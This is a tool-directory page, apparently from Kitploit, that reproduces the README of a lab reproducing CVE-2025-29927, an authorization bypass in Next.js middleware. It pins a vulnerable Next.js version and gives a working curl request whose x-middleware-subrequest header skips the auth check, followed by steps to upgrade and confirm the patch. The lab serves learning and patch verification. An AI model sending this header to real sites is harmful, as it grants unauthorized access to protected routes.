Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2025-29927-lab — Reproduction lab for CVE-2025-29927 — Next.js middleware authorization bypass (CVSS 9.1) | Kitploit
Tools/GitHubGitHub/swapnildeshpande/cve-2025-29927-lab
Vulnerability AnalysisWeb Application ExploitationPenetration TestingAuthenticationLearning & EducationLabs & Practice
GitHubswapnildeshpande/cve-2025-29927-lab

cve-2025-29927-lab

Reproduction lab for CVE-2025-29927 — Next.js middleware authorization bypass (CVSS 9.1)

View Repository
483 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-29927 Lab

Minimal reproduction lab for CVE-2025-29927 — Next.js middleware authorization bypass (CVSS 9.1).

Companion to: N-Day Analysis writeup on Medium

What this is

A Next.js 15.2.2 app (vulnerable) with a cookie-gated /dashboard route. The middleware auth check can be bypassed by sending a single HTTP header — no credentials required.

Requirements

  • Node.js 18+

Setup

git clone https://github.com/SwapnilDeshpande/cve-2025-29927-lab
cd cve-2025-29927-lab
npm install   # pins to Next.js 15.2.2 (vulnerable)
npm run dev -- --port 3001

Reproduce the bypass

Step 1 — Confirm middleware blocks unauthenticated requests:

curl -s -o /dev/null -w "%{http_code}" http://localhost:3001/dashboard
# → 307

Step 2 — Bypass middleware with the subrequest header:

curl -s -o /dev/null -w "%{http_code}" \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  http://localhost:3001/dashboard
# → 200

Step 3 — Upgrade to the patched version and confirm the bypass is blocked:

npm install [email protected]
# Restart the dev server, then repeat Step 2
# → 307

App routes

RouteAccess
/Public
/loginPublic
/dashboardProtected by middleware (requires session cookie)

Affected versions

Next.js < 15.2.3, < 14.2.25, < 13.5.9, < 12.3.5

References

  • NVD — CVE-2025-29927
  • Next.js patch PR #77201
  • Vulnerable source — sandbox.ts
Download Tool